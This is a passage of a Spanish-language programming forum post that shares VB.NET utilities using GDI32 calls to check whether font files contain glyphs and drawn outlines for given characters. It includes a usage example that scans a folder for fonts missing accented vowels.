    ''' </param>
    ''' 
    ''' <returns>
    ''' <see langword="True"/> if both fonts produce identical outlines for the specified glyph.
    ''' <para></para>
    ''' <see langword="False"/> if the outlines differ or if one of the fonts has an empty glyph. 
    ''' If the glyph outlines are empty in both fonts, returns <see langword="True"/>.
    ''' </returns>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Always)>
    <DebuggerStepThrough>
    Public Function GlyphOutlinesAreEqual(firstFont As Font, secondFont As Font, ch As Char) As Boolean
 
        Dim firstBytes As Byte() = FontExtensions.GetGlyphOutlineData(firstFont, ch, GetGlyphOutlineFormat.Native)
        Dim secondBytes As Byte() = FontExtensions.GetGlyphOutlineData(secondFont, ch, GetGlyphOutlineFormat.Native)
 
        Return (firstBytes Is Nothing AndAlso secondBytes Is Nothing) OrElse
               (
                 (firstBytes Is Nothing = (secondBytes Is Nothing)) AndAlso
                  firstBytes.SequenceEqual(secondBytes)
               )
    End Function
 
    ''' <summary>
    ''' Computes a similarity score between the glyph outline for the 
    ''' specified character in the source <see cref="System.Drawing.Font"/>, 
    ''' and the the glyph outline of the same character in another <see cref="System.Drawing.Font"/>.
    ''' </summary>
    ''' 
    ''' <param name="firstFont">
    ''' The first <see cref="System.Drawing.Font"/> to compare.
    ''' </param>
    ''' 
    ''' <param name="secondFont">
    ''' The second <see cref="System.Drawing.Font"/> to compare.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character whose glyph outlines will be compared between the two fonts.
    ''' </param>
    ''' 
    ''' <returns>
    ''' A <see cref="Single"/> value between 0.0 and 1.0 representing the similarity 
    ''' (the number of matching bytes in the outline data) of the glyph outlines.
    ''' <para></para>
    ''' If one of the fonts has an empty glyph, returns 0. If the glyph outlines are empty in both fonts, returns 1.
    ''' </returns>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Always)>
    <DebuggerStepThrough>
    Public Function GetGlyphOutlineSimilarity(firstFont As Font, secondFont As Font, ch As Char) As Single
 
        Dim firstBytes As Byte() = FontExtensions.GetGlyphOutlineData(firstFont, ch, GetGlyphOutlineFormat.Native)
        Dim secondBytes As Byte() = FontExtensions.GetGlyphOutlineData(secondFont, ch, GetGlyphOutlineFormat.Native)
 
        If firstBytes Is Nothing AndAlso secondBytes Is Nothing Then
            Return 1.0F
        End If
 
        If (firstBytes Is Nothing) <> (secondBytes Is Nothing) Then
            Return 0.0F
        End If
 
        Dim maxLength As Integer = System.Math.Max(firstBytes.Length, secondBytes.Length)
        Dim minLength As Integer = System.Math.Min(firstBytes.Length, secondBytes.Length)
        Dim equalCount As Integer = 0
 
        For i As Integer = 0 To minLength - 1
            If firstBytes(i) = secondBytes(i) Then
                equalCount += 1
            End If
        Next
 
        Return CSng(equalCount) / maxLength
    End Function
 
End Module

Métodos universales para trabajar (otros) aspectos básicos con fuentes de texto (.ttf y .otf)...

(AL FINAL DE ESTE POST HE COMPARTIDO UN EJEMPLO DE USO 😏)

◉ Funciones 'UtilFonts.FontHasGlyph', 'UtilFonts.FontHasGlyphs', 'FontExtensions.HasGlyph' y 'FontExtensions.HasGlyphs'

    Sirven para determinar si existen glifos en una fuente de texto para un caracter o una serie de caracteres específicos.

    Se utilizaría, por ejemplo, con este tipo de fuente que no tiene glifos propios para las vocales con tilde:

   

◉ Funciones 'UtilFonts.FontGlyphHasOutline' y 'FontExtensions.GlyphHasOutline'

    Sirven para determinar si un glifo está vacío (no hay contornos dibujados).

    Se utilizaría, por ejemplo, con este tipo de fuentes que no dibujan las vocales con tilde:

   

    Tener en cuenta que esta función solo sirve para determinar si el glifo contiene algo,
    no puede determinar si el glifo es una figura incompleta como por ejemplo la de esta vocal que solo tiene la tilde:

   

---

◉ El código fuente

Imports necesarios

Imports System.ComponentModel
Imports System.Drawing
Imports System.Drawing.Text
Imports System.IO
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
 
Imports DevCase.Win32
Imports DevCase.Win32.Enums
Imports DevCase.Win32.Structures

Clases secundarias requeridas

(Lo siento pero he tenido que borrar mucha documentación XML -no esencial- para que me quepa todo el código en este post.)

#Region " Constants "
 
Namespace DevCase.Win32.Common.Constants
 
    <HideModuleName>
    Friend Module Constants
 
#Region " GDI32 "
 
    ''' <summary>
    ''' Error return value for some GDI32 functions.
    ''' </summary>
    Public Const GDI_ERROR As UInteger = &HFFFFFFFFUI
 
    ''' <summary>
    ''' Error return value for some GDI32 functions.
    ''' </summary>
    Public ReadOnly HGDI_ERROR As New IntPtr(-1)
 
#End Region
 
    End Module
 
End Namespace
 
#End Region

#Region " Enums "
 
Namespace DevCase.Win32.Enums
 
    ''' <remarks>
    ''' List of System Error Codes: <see href="https://docs.microsoft.com/en-us/windows/desktop/Debug/system-error-codes"/>.
    ''' </remarks>
    Public Enum Win32ErrorCode As Integer
 
        ''' <summary>
        ''' The operation completed successfully.
        ''' </summary>
        ERROR_SUCCESS = &H0 
    End Enum
 
    ''' <remarks>
    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-wcrange"/>
    ''' </remarks>
    <Flags>
    Public Enum GetGlyphIndicesFlags ' GGI
 
        ''' <summary>
        ''' Marks unsupported glyphs with the hexadecimal value 0xFFFF.
        ''' </summary>
        MarkNonExistingGlyphs = 1 ' GGI_MARK_NONEXISTING_GLYPHS
    End Enum
 
    ''' <remarks>
    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphoutlinew"/>
    ''' </remarks>
    Public Enum GetGlyphOutlineFormat ' GGO
        Metrics = 0
        Bitmap = 1
 
        ''' <summary>
        ''' The function retrieves the curve data points in the rasterizer's native format and uses the font's design units.
        ''' </summary>
        Native = 2
 
        Bezier = 3
        BitmapGray2 = 4
        BitmapGray4 = 5
        BitmapGray8 = 6
        GlyphIndex = &H80
        Unhinted = &H100
    End Enum
 
End Namespace
 
#End Region

#Region " Structures "
 
    Namespace DevCase.Win32.Structures
 
    #Region " GlyphMetrics "
 
        ''' <remarks>
        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-glyphmetrics"/>
        ''' </remarks>
        <StructLayout(LayoutKind.Sequential)>
        Public Structure GlyphMetrics
            Public BlackBoxX As UInteger
            Public BlackBoxY As UInteger
            Public GlyphOrigin As NativePoint
            Public CellIncX As Short
            Public CellIncY As Short
        End Structure
 
    #End Region
 
    #Region " NativePoint (POINT) "
 
    ''' <summary>
    ''' Defines the x- and y- coordinates of a point.
    ''' </summary>
    '''
    ''' <remarks>
    ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd162805%28v=vs.85%29.aspx"/>
    ''' </remarks>
    <DebuggerStepThrough>
    <StructLayout(LayoutKind.Sequential)>
    Public Structure NativePoint
 
#Region " Fields "
 
        Public X As Integer
        Public Y As Integer
 
#End Region
 
#Region " Constructors "
 
        Public Sub New(x As Integer, y As Integer)
            Me.X = x
            Me.Y = y
        End Sub
 
        Public Sub New(pt As Point)
            Me.New(pt.X, pt.Y)
        End Sub
 
#End Region
 
#Region " Operator Conversions "
 
        Public Shared Widening Operator CType(pt As NativePoint) As Point
            Return New Point(pt.X, pt.Y)
        End Operator
 
        Public Shared Widening Operator CType(pt As Point) As NativePoint
            Return New NativePoint(pt.X, pt.Y)
        End Operator
 
#End Region
 
    End Structure
 
    #End Region
 
    #Region " GlyphOutlineMatrix2 "
 
    ''' <remarks>
    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-mat2"/>
    ''' </remarks>
    <StructLayout(LayoutKind.Sequential)>
    Public Structure GlyphOutlineMatrix2 ' MAT2
 
        Public M11 As Fixed
        Public M12 As Fixed
        Public M21 As Fixed
        Public M22 As Fixed
 
        ''' <summary>
        ''' Gets an <see cref="GlyphOutlineMatrix2"/> transformation in which the transformed graphical object is identical to the source object. 
        ''' This is called an identity matrix.
        ''' <para></para>
        ''' In this identity matrix,
        ''' the value of <see cref="GlyphOutlineMatrix2.M11"/> is 1, 
        ''' the value of <see cref="GlyphOutlineMatrix2.M12"/> is zero, 
        ''' the value of <see cref="GlyphOutlineMatrix2.M21"/> is zero, 
        ''' and the value of <see cref="GlyphOutlineMatrix2.M22"/> is 1.
        ''' </summary>
        ''' 
        ''' <returns>
        ''' The resulting <see cref="GlyphOutlineMatrix2"/>.
        ''' </returns>
        Public Shared Function GetIdentityMatrix() As GlyphOutlineMatrix2
            Return New GlyphOutlineMatrix2() With {
            .M11 = New Fixed With {.Value = 1},
            .M22 = New Fixed With {.Value = 1}
        }
        End Function
 
    End Structure
 
    #End Region
 
    #Region " Fixed "
 
    ''' <summary>
    ''' Contains the integral and fractional parts of a fixed-point real number.
    ''' <para></para>
    ''' Note: The <see cref="Fixed"/> structure is used to describe the elements of the <see cref="GlyphOutlineMatrix2"/> structure.
    ''' </summary>
    ''' 
    ''' <remarks>
    ''' <see href="https://docs.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-fixed"/>
    ''' </remarks>
    <StructLayout(LayoutKind.Sequential)>
    Public Structure Fixed
 
#Region " Public Fields "
 
        ''' <summary>
        ''' The fractional value.
        ''' </summary>
        Public Fraction As UShort
 
        ''' <summary>
        ''' The integral value.
        ''' </summary>
        Public Value As Short
 
#End Region
 
#Region " Operator Conversions "
 
        Public Shared Widening Operator CType(f As Fixed) As Decimal
 
            Return Decimal.Parse($"{f.Value.ToString(NumberFormatInfo.InvariantInfo)}{NumberFormatInfo.InvariantInfo.NumberDecimalSeparator}{f.Fraction.ToString(NumberFormatInfo.InvariantInfo)}", NumberFormatInfo.InvariantInfo)
        End Operator
 
        Public Shared Widening Operator CType(dec As Decimal) As Fixed
 
            Return New Fixed With {
                .Value = CShort(System.Math.Truncate(System.Math.Truncate(dec))),
                .Fraction = UShort.Parse(dec.ToString(NumberFormatInfo.InvariantInfo).Split({NumberFormatInfo.InvariantInfo.NumberDecimalSeparator}, StringSplitOptions.None)(1), NumberFormatInfo.InvariantInfo)
            }
        End Operator
 
#End Region
 
#Region " Public Methods "
 
        Public Overrides Function ToString() As String
 
            Return CDec(Me).ToString()
        End Function
 
#End Region
 
    End Structure
 
    #End Region
 
    End Namespace
 
#End Region
 

#Region " NativeMethods "
 
Namespace DevCase.Win32.NativeMethods
 
    <SuppressUnmanagedCodeSecurity>
    Friend Module Gdi32
 
        ''' <summary>
        ''' Creates a memory device context (DC) compatible with the specified device.
        ''' </summary>
        '''
        ''' <remarks>
        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd183489%28v=vs.85%29.aspx"/>
        ''' </remarks>
        <DllImport("gdi32.dll", SetLastError:=True)>
        Public Function CreateCompatibleDC(hdc As IntPtr
        ) As IntPtr
        End Function
 
        ''' <summary>
        ''' Deletes the specified device context (DC).
        ''' <para></para>
        ''' An application must not delete a DC whose handle was obtained by calling the <see cref="GetDC"/> function. 
        ''' instead, it must call the <see cref="ReleaseDC"/> function to free the DC.
        ''' </summary>
        '''
        ''' <remarks>
        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd183533%28v=vs.85%29.aspx"/>
        ''' </remarks>
        <DllImport("gdi32.dll")>
        Public Function DeleteDC(hdc As IntPtr
        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
 
        ''' <summary>
        ''' Selects an object into a specified device context.
        ''' <para></para>
        ''' The new object replaces the previous object of the same type. 
        ''' </summary>
        '''
        ''' <remarks>
        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd162957%28v=vs.85%29.aspx"/>
        ''' </remarks>
        <DllImport("gdi32.dll", ExactSpelling:=False)>
        Public Function SelectObject(hdc As IntPtr,
                                     hObject As IntPtr
        ) As IntPtr
        End Function
 
        ''' <summary>
        ''' Deletes a logical pen, brush, font, bitmap, region, or palette,
        ''' freeing all system resources associated with the object.
        ''' <para></para>
        ''' After the object is deleted, the specified handle is no longer valid.
        ''' <para></para>
        ''' Do not delete a drawing object (pen or brush) while it is still selected into a DC.
        ''' <para></para>
        ''' When a pattern brush is deleted, the bitmap associated with the brush is not deleted. 
        ''' The bitmap must be deleted independently.
        ''' </summary>
        '''
        ''' <remarks>
        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms633540%28v=vs.85%29.aspx"/>
        ''' </remarks>
        <DllImport("gdi32.dll", ExactSpelling:=False, SetLastError:=True)>
        Public Function DeleteObject(hObject As IntPtr
        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
 
        ''' <summary>
        ''' Translates a string into an array of glyph indices. 
        ''' <para></para>
        ''' The function can be used to determine whether a glyph exists in a font.
        ''' </summary>
        ''' 
        ''' <remarks>
        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphindicesw"/>
        ''' </remarks>
        <DllImport("gdi32.dll", SetLastError:=False, CharSet:=CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True)>
        Public Function GetGlyphIndices(hdc As IntPtr,
                                        str As String,
                                        strLen As Integer,
                                        <[Out], MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=2)>
                                        glyphIndices As UShort(),
                               Optional flags As GetGlyphIndicesFlags = GetGlyphIndicesFlags.MarkNonExistingGlyphs
        ) As UInteger
        End Function
 
        ''' <summary>
        ''' Retrieves the outline or bitmap for a character in the TrueType font that is selected into the specified device context.
        ''' </summary>
        ''' 
        ''' <remarks>
        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphoutlinew"/>
        ''' </remarks>
        <DllImport("gdi32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
        Public Function GetGlyphOutline(hdc As IntPtr,
                                        ch As UInteger,
                                        format As GetGlyphOutlineFormat,
                            <Out> ByRef refMetrics As GlyphMetrics,
                                        bufferSize As UInteger,
                                        buffer As IntPtr,
                                  ByRef refMatrix2 As GlyphOutlineMatrix2
        ) As UInteger
        End Function
 
    End Module
 
End Namespace
 
#End Region

Clase principal 'UtilFonts' y modulo 'FontExtensions', que contienen los métodos universales en torno a fuentes de texto

Public Class UtilFonts
 
    ''' <summary>
    ''' Prevents a default instance of the <see cref="UtilFonts"/> class from being created.
    ''' </summary>
    Private Sub New()
    End Sub
 
    ''' <summary>
    ''' Determines whether a glyph exists in the given font file 
    ''' for the specified character.
    ''' </summary>
    ''' 
    ''' <param name="fontFile">
    ''' Path to the font file used to check for glyph availability.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character that represents the glyph to check.
    ''' </param>
    ''' 
    ''' <returns>
    ''' <see langword="True"/> if a glyph exists in the font for the specified character; 
    ''' otherwise, <see langword="False"/>.
    ''' </returns>
    <DebuggerStepThrough>
    Public Shared Function FontHasGlyph(fontFile As String, ch As Char) As Boolean
 
        Return UtilFonts.FontHasGlyphs(fontFile, ch) = 1
    End Function
 
    ''' <summary>
    ''' Determines whether a glyph exists in the given font file 
    ''' for all the characters in the speciied string.
    ''' </summary>
    ''' 
    ''' <param name="fontFile">
    ''' Path to the font file used to check for glyphs availability.
    ''' </param>
    ''' 
    ''' <param name="str">
    ''' A <see cref="String"/> with the character(s) that represents the glyphs to check.
    ''' <para></para>
    ''' Each character (or surrogate pair) is checked for a existing glyph in the font.
    ''' </param>
    ''' 
    ''' <returns>
    ''' The count of characters from <paramref name="str"/> parameter that have a existing glyph in the font.
    ''' <para></para>
    ''' A count less than the length of <paramref name="str"/> indicates that the font does not have a existing glyph for one or more characters.
    ''' </returns>
    ''' 
    ''' <exception cref="FileNotFoundException">
    ''' Thrown when the font file is not found.
    ''' </exception>
    <DebuggerStepThrough>
    Public Shared Function FontHasGlyphs(fontFile As String, str As String) As UInteger
 
        If Not System.IO.File.Exists(fontFile) Then
            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
        End If
 
        Using pfc As New PrivateFontCollection()
            pfc.AddFontFile(fontFile)
 
            Using f As New Font(pfc.Families(0), emSize:=1)
                Return FontExtensions.HasGlyphs(f, str)
            End Using
        End Using
    End Function
 
    ''' <summary>
    ''' Determines whether a glyph for the specified character in the given font file has an outline.
    ''' <para></para>
    ''' This is useful to determine whether the glyph is empty (no character is drawn),
    ''' but note that a glyph with outlines does not necessarily mean that the character is fully represented. 
    ''' Some fonts, for instance, only renders diacritical marks for accented vowels 
    ''' instead the full letter (e.g., "<b>´</b>" instead of "<b>í</b>"). 
    ''' This function solely determines whether the glyph draws an outline, nothing more. 
    ''' <para></para>
    ''' To determine whether a glyph exists in the given font file for the specified character, use
    ''' <see cref="UtilFonts.FontHasGlyph"/> or <see cref="UtilFonts.FontHasGlyphs"/> instead.
    ''' </summary>
    ''' 
    ''' <param name="fontFile">
    ''' Path to the font file used to check for glyph availability.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character that represents the glyph to check in the font.
    ''' </param>
    ''' 
    ''' <returns>
    ''' Returns <see langword="True"/> if the glyph has an outline (visible shape data exists).
    ''' <para></para>
    ''' Returns <see langword="False"/> if the glyph does not have an outline, 
    ''' meaning the glyph is empty/unsupported by the font.
    ''' </returns>
    ''' 
    ''' <exception cref="FileNotFoundException">
    ''' Thrown when the font file is not found.
    ''' </exception>
    <DebuggerStepThrough>
    Public Shared Function FontGlyphHasOutline(fontFile As String, ch As Char) As Boolean
 
        If Not System.IO.File.Exists(fontFile) Then
            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
        End If
 
        Using pfc As New PrivateFontCollection()
            pfc.AddFontFile(fontFile)
 
            Using f As New Font(pfc.Families(0), emSize:=1)
                Return FontExtensions.GlyphHasOutline(f, ch)
            End Using
        End Using
    End Function
 
End Class

Module FontExtensions
 
    ''' <summary>
    ''' Determines whether a glyph exists in the given <see cref="System.Drawing.Font"/> 
    ''' for the specified character.
    ''' </summary>
    ''' 
    ''' <param name="font">
    ''' The <see cref="System.Drawing.Font"/> used to check for glyph availability.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character that represents the glyph to check.
    ''' </param>
    ''' 
    ''' <returns>
    ''' <see langword="True"/> if a glyph exists in the font for the specified character; 
    ''' otherwise, <see langword="False"/>.
    ''' </returns>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Always)>
    <DebuggerStepThrough>
    Public Function HasGlyph(font As Font, ch As Char) As Boolean
 
        Return FontExtensions.HasGlyphs(font, ch) = 1
    End Function
 
    ''' <summary>
    ''' Determines whether a glyph exists in the given <see cref="System.Drawing.Font"/> 
    ''' for all the characters in the speciied string.
    ''' </summary>
    ''' 
    ''' <param name="font">
    ''' The <see cref="System.Drawing.Font"/> used to check for glyphs availability.
    ''' </param>
    ''' 
    ''' <param name="str">
    ''' A <see cref="String"/> with the character(s) that represents the glyphs to check.
    ''' <para></para>
    ''' Each character (or surrogate pair) is checked for a existing glyph in the font.
    ''' </param>
    ''' 
    ''' <returns>
    ''' The count of characters from <paramref name="str"/> parameter that have a existing glyph in the font.
    ''' <para></para>
    ''' A count less than the length of <paramref name="str"/> indicates that the font does not have a existing glyph for one or more characters.
    ''' </returns>
    ''' 
    ''' <exception cref="ArgumentNullException">
    ''' Thrown when <paramref name="font"/> or <paramref name="str"/> are null.
    ''' </exception>
    ''' 
    ''' <exception cref="Win32Exception">
    ''' Thrown when a call to Windows API GDI32 functions (creating device context, selecting font, or retrieving glyph indices) fails.
    ''' </exception>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Always)>
    <DebuggerStepThrough>
    Public Function HasGlyphs(font As Font, str As String) As UInteger
 
        If font Is Nothing Then
            Throw New ArgumentNullException(paramName:=NameOf(font))
        End If
 
        If String.IsNullOrEmpty(str) Then
            Throw New ArgumentNullException(paramName:=NameOf(str))
        End If
 
        Dim hdc As IntPtr
        Dim hFont As IntPtr
        Dim oldObj As IntPtr
 
        Dim win32Err As Integer
 
        Try
            hFont = font.ToHfont()
            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
            win32Err = Marshal.GetLastWin32Error()
            If hdc = IntPtr.Zero Then
                Throw New Win32Exception(win32Err)
            End If
 
            oldObj = NativeMethods.SelectObject(hdc, hFont)
            win32Err = Marshal.GetLastWin32Error()
            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
                Throw New Win32Exception(win32Err)
            End If
 
            ' Reserve output for each text unit (can be 1 or 2 chars if it's a surrogate pair).
            Dim strLen As Integer = str.Length
            Dim indices As UShort() = New UShort(strLen - 1) {}
            ' Get the glyph indices for the string in the given device context.
            Dim converted As UInteger = NativeMethods.GetGlyphIndices(hdc, str, strLen, indices, GetGlyphIndicesFlags.MarkNonExistingGlyphs)
            win32Err = Marshal.GetLastWin32Error()
            If converted = DevCase.Win32.Common.Constants.GDI_ERROR Then
                Throw New Win32Exception(win32Err)
            End If
 
            ' Count glyphs that exist (index <> 0xFFFF).
            ' If any glyph index is 0xFFFF, the glyph does not exist in that font.
            Dim count As UInteger
            For Each index As UShort In indices
                If index <> &HFFFFUS Then
                    count += 1UI
                End If
            Next
            Return count
 
        Finally
            If oldObj <> IntPtr.Zero Then
                NativeMethods.DeleteObject(oldObj)
            End If
            If hFont <> IntPtr.Zero Then
                NativeMethods.DeleteObject(hFont)
            End If
            If hdc <> IntPtr.Zero Then
                NativeMethods.DeleteDC(hdc)
            End If
 
        End Try
    End Function
 
 
    ''' <summary>
    ''' Determines whether a glyph for the specified character in the given <see cref="System.Drawing.Font"/> has an outline.
    ''' <para></para>
    ''' This is useful to determine whether the glyph is empty (no character is drawn),
    ''' but note that a glyph with outlines does not necessarily mean that the character is fully represented. 
    ''' Some fonts, for instance, only renders diacritical marks for accented vowels 
    ''' instead the full letter (e.g., "<b>´</b>" instead of "<b>í</b>"). 
    ''' This function solely determines whether the glyph draws an outline, nothing more. 
    ''' <para></para>
    ''' To determine whether a glyph exists in the given font file for the specified character, use
    ''' <see cref="FontExtensions.HasGlyph"/> or <see cref="FontExtensions.HasGlyphs"/> instead.
    ''' </summary>
    ''' 
    ''' <param name="font">
    ''' The <see cref="System.Drawing.Font"/> used to check for glyph availability.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character that represents the glyph to check in the font.
    ''' </param>
    ''' 
    ''' <returns>
    ''' Returns <see langword="True"/> if the glyph has an outline (visible shape data exists).
    ''' <para></para>
    ''' Returns <see langword="False"/> if the glyph does not have an outline, 
    ''' meaning the glyph is empty/unsupported by the font.
    ''' </returns>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Always)>
    <DebuggerStepThrough>
    Public Function GlyphHasOutline(font As Font, ch As Char) As Boolean
 
        If font Is Nothing Then
            Throw New ArgumentNullException(paramName:=NameOf(font))
        End If
 
        Dim hdc As IntPtr
        Dim hFont As IntPtr
        Dim oldObj As IntPtr
 
        Dim win32Err As Integer
 
        Try
            hFont = font.ToHfont()
            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
            oldObj = NativeMethods.SelectObject(hdc, hFont)
            win32Err = Marshal.GetLastWin32Error()
            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
                Throw New Win32Exception(win32Err)
            End If
 
            Dim chCode As UInteger = CUInt(Convert.ToInt32(ch))
            Dim format As GetGlyphOutlineFormat = GetGlyphOutlineFormat.Native
            Dim matrix As GlyphOutlineMatrix2 = GlyphOutlineMatrix2.GetIdentityMatrix()
 
            Dim ptCount As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, Nothing, Nothing, matrix)
            win32Err = Marshal.GetLastWin32Error()
            Select Case ptCount
 
                Case 0UI
                    ' Zero curve data points were returned, meaning the glyph is empty/invisible.
                    Return False
 
                Case DevCase.Win32.Common.Constants.GDI_ERROR
                    If win32Err = Win32ErrorCode.ERROR_SUCCESS Then
                        ' The function returned GDI_ERROR, but no error recorded by GetLastError, meaning the function succeeded.
                        ' Tests carried out have shown that when this happens the glyph simply does not exists. 
                        Return False
                    Else
                        Throw New Win32Exception(win32Err)
                    End If
 
                Case Else
                    Return True
 
            End Select
 
        Finally
            If oldObj <> IntPtr.Zero Then
                NativeMethods.DeleteObject(oldObj)
            End If
            If hFont <> IntPtr.Zero Then
                NativeMethods.DeleteObject(hFont)
            End If
            If hdc <> IntPtr.Zero Then
                NativeMethods.DeleteDC(hdc)
            End If
 
        End Try
 
        ' ===================================================
        '   ALTERNATIVE METHODOLOGY USING PURE MANAGED GDI+
        '
        ' (results are the same than using Windows API calls)
        ' ===================================================
        '
        '
        'If font Is Nothing Then
        '    Throw New ArgumentNullException(paramName:=NameOf(font))
        'End If
        '
        'If font.Unit = GraphicsUnit.Pixel AndAlso font.Size < 8 Then
        '    Dim msg As String =
        '        "Font size must be equals or greater than 8 pixels when using GraphicsUnit.Pixel to avoid unreliable pixel detection. " &
        '        "Suggested font size is 16 pixel size; A value of 32, 64 or bigger pixel size would produce the same results."
        '    Throw New ArgumentException(msg)
        '
        'ElseIf font.Size < 4 Then
        '    Dim msg As String =
        '        "Font size must be equals or greater than 4 to avoid unreliable pixel detection. " &
        '        "Suggested usage is GraphicsUnit.Pixel with a font size of 16 pixels; " &
        '        "A value of 32, 64 or bigger pixel size would produce the same results."
        '    Throw New ArgumentException(msg)
        '
        'End If
        '
        '' Measure the required size for the glyph.
        'Dim requiredSize As Size
        'Using tempBmp As New Bitmap(1, 1)
        '    Using g As Graphics = Graphics.FromImage(tempBmp)
        '        Dim sizeF As SizeF = g.MeasureString(ch, font)
        '        ' Add a small margin to avoid clipping due to rounding.
        '        requiredSize = New Size(CInt(System.Math.Ceiling(sizeF.Width)) + 4,
        '                                CInt(System.Math.Ceiling(sizeF.Height)) + 4)
        '    End Using
        'End Using
        '
        '' Create a bitmap big enough to render the glyph, 
        '' filling the bitmap background with white color and 
        '' drawing the character in black.
        'Using bmp As New Bitmap(requiredSize.Width, requiredSize.Height),
        '      g As Graphics = Graphics.FromImage(bmp)
        '    ' Using AntiAlias may help ensure that very thin glyph strokes 
        '    ' still produce detectable pixels, with gray edges.
        '    ' Without anti-aliasing, such strokes might render too faint or disappear entirely,
        '    ' causing the glyph to be misidentified as empty.
        '    g.TextRenderingHint = Drawing.Text.TextRenderingHint.AntiAlias
        '    g.Clear(Color.White)
        '    g.DrawString(ch, font, Brushes.Black, 0, 0)
        '
        '    Dim rect As New Rectangle(0, 0, bmp.Width, bmp.Height)
        '    Dim bmpData As BitmapData = bmp.LockBits(rect, Imaging.ImageLockMode.ReadOnly, Imaging.PixelFormat.Format32bppArgb)
        '
        '    Try
        '        Dim ptr As IntPtr = bmpData.Scan0
        '        Dim bytes As Integer = System.Math.Abs(bmpData.Stride) * bmp.Height
        '        Dim pixelValues(bytes - 1) As Byte
        '        Marshal.Copy(ptr, pixelValues, 0, bytes)
        '
        '        ' Iterate through each pixel.
        '        ' PixelFormat.Format32bppArgb stores pixels as [Blue][Green][Red][Alpha]
        '        ' i=Blue, i+1=Green, i+2=Red, i+3=Alpha
        '        For i As Integer = 0 To pixelValues.Length - 1 Step 4
        '            Dim red As Byte = pixelValues(i + 2)
        '
        '            ' Check if the pixel is darker than nearly-white (threshold 250)
        '            ' If so, we found a visible pixel, meaning the glyph is drawn.
        '            If red < 250 Then
        '                Return True
        '            End If
        '        Next
        '    Finally
        '        bmp.UnlockBits(bmpData)
        '
        '    End Try
        'End Using
        '
        '' No visible pixels found, meaning the glyph is empty/unsupported by the font.
        'Return False
 
    End Function
 
End Module

◉ Modo de empleo

El siguiente ejemplo verifica en los archivos de fuente .ttf de un directorio específico si la tipografía incluye los glifos correspondientes a los caracteres á, é, í, ó y ú. En caso de que falte algún glifo, se imprime un mensaje en consola indicando los glifos ausentes, y finalmente envía el archivo de fuente a la papelera de reciclaje (hay que descomentar las lineas marcadas).

Dim fontFiles As IEnumerable(Of String) = Directory.EnumerateFiles("C:\Fonts", "*.ttf", SearchOption.TopDirectoryOnly)
Dim fontsToDelete As New HashSet(Of String)()
Dim chars As Char() = "áéíóú".ToCharArray()
 
For Each fontFile As String In fontFiles
    Dim missingChars As New HashSet(Of Char)()
 
    For Each ch As Char In chars
        If Not UtilFonts.FontHasGlyph(fontFile, ch) OrElse
           Not UtilFonts.FontGlyphHasOutline(fontFile, ch) Then
            missingChars.Add(ch)
        End If
    Next
 
    If missingChars.Count > 0 Then
        Console.WriteLine($"[{Path.GetFileName(fontFile)}] Missing glyphs: {String.Join(", ", missingChars)}")
        fontsToDelete.Add(fontFile)
    End If
Next
 
For Each fontFile As String In fontsToDelete
    ' Console.WriteLine($"Deleting font file: {fontFile}")
    ' Microsoft.VisualBasic.FileIO.FileSystem.DeleteFile(fontFile, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.SendToRecycleBin)
Next

Por último, quiero comentar que he experimentado estas funciones de forma muy minuciosa, primero con muestras pequeñas de 2 o 3 fuentes... varias veces por cada cambio significativo realizado en el código, y después he probado la versión final con aprox. 14.000 archivos de fuentes de texto, y los resultados han sido muy satisfactorios detectando varios miles de fuentes a los que le faltan los glifos especificados, y, aunque no he podido revisar todos esos miles de fuentes una a una, no he encontrado ningún falso positivo entre varios cientos de fuentes que sí he revisado manualmente.

Eso es todo. 👋